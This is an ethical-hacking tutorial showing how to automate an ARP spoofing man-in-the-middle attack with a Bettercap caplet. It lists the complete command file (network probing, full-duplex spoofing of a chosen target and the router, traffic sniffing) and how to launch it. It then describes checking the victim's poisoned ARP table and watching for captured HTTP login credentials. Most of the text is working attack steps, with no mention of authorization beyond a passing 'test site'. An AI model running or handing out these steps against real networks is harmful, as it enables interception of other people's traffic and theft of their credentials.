Creating Custom Spoofing Scripts

Automating Bettercap Commands for Efficient Ethical Hacking

Introduction to Automating Bettercap Commands

In previous sessions, we explored how to use Bettercap to discover network clients, run ARP spoofing attacks, and intercept data. These operations required executing multiple commands manually:

  1. Running net.probe on to activate the probe module
  2. Configuring the ARPspoof module settings
  3. Enabling the ARPspoof module
  4. Activating the sniffing module

This process can be time-consuming when performed repeatedly. Fortunately, Bettercap supports automation through caplets, which we'll cover in this tutorial.

What is a Caplet?

A caplet is simply a text file containing a sequence of Bettercap commands that execute automatically. This allows you to streamline your workflow by running multiple commands with a single instruction.

Creating Your First Spoofing Caplet

Let's create a basic caplet file to automate an ARP spoofing attack. We'll organize the commands in a logical sequence:

1. Enable Network Discovery

net.probe on

This command activates the net.recon module, which discovers connected clients and monitors for new connections.

2. Configure ARP Spoofing Settings

set arp.spoof.full_duplex true

Enabling full duplex mode allows simultaneous spoofing of both the target and the router, creating a complete man-in-the-middle position.

3. Set Target IP Address

set arp.spoof.targets <target_ip>

Replace <target_ip> with the actual IP address of your target. For multiple targets, separate IPs with commas.

4. Enable ARP Spoofing

arp.spoof on

This activates the ARP spoofing module with the configured settings.

5. Start Network Sniffing

net.sniff on

Finally, this command activates the network sniffer to capture and display the intercepted traffic.

Complete Caplet File

net.probe on
set arp.spoof.full_duplex true
set arp.spoof.targets <target_ip>
arp.spoof on
net.sniff on

Saving and Using Your Caplet

1Save the File

Save the text file in your root directory with the name spoof.cap.

nano spoof.cap

After entering the commands, press CTRL+X, then Y to save.

2Verify the File

Ensure the caplet file exists in your current directory:

ls

You should see spoof.cap in the directory listing.

3Run with Bettercap

Execute Bettercap with the caplet parameter:

bettercap -iface eth0 -caplet spoof.cap

Replace eth0 with your actual network interface.

Troubleshooting

If you encounter an error like "caplet file not found", verify the filename and correct any spelling mistakes:

mv soof.cap spoof.cap

How ARP Spoofing Works

Verifying the Attack

To confirm your ARP spoofing attack is working properly, check the ARP table on the target machine:

arp -a

You should observe that the router's MAC address has been replaced with the MAC address of your attacking machine, indicating successful spoofing.

Normal ARP Table Spoofed ARP Table
Router IP: 192.168.1.1
Router MAC: 00:11:22:33:44:55		 Router IP: 192.168.1.1
Attacker MAC: AA:BB:CC:DD:EE:FF

Testing Data Interception

To verify that you're successfully intercepting data:

  1. On the target machine, access a website that uses HTTP (not HTTPS)
  2. Attempt to log in to a test site
  3. Observe your Bettercap terminal for captured credentials

HTTPS Limitation

This basic method only works with HTTP traffic. HTTPS interception requires additional techniques like SSL stripping or certificate manipulation, which will be covered in advanced topics.

Summary

Using caplets provides significant advantages for ethical hackers:

Key Takeaways

✓ Caplets are text files containing Bettercap commands

✓ They enable automation of network attacks like ARP spoofing

✓ Proper file naming and location are crucial for recognition

✓ Caplets make man-in-the-middle attacks more efficient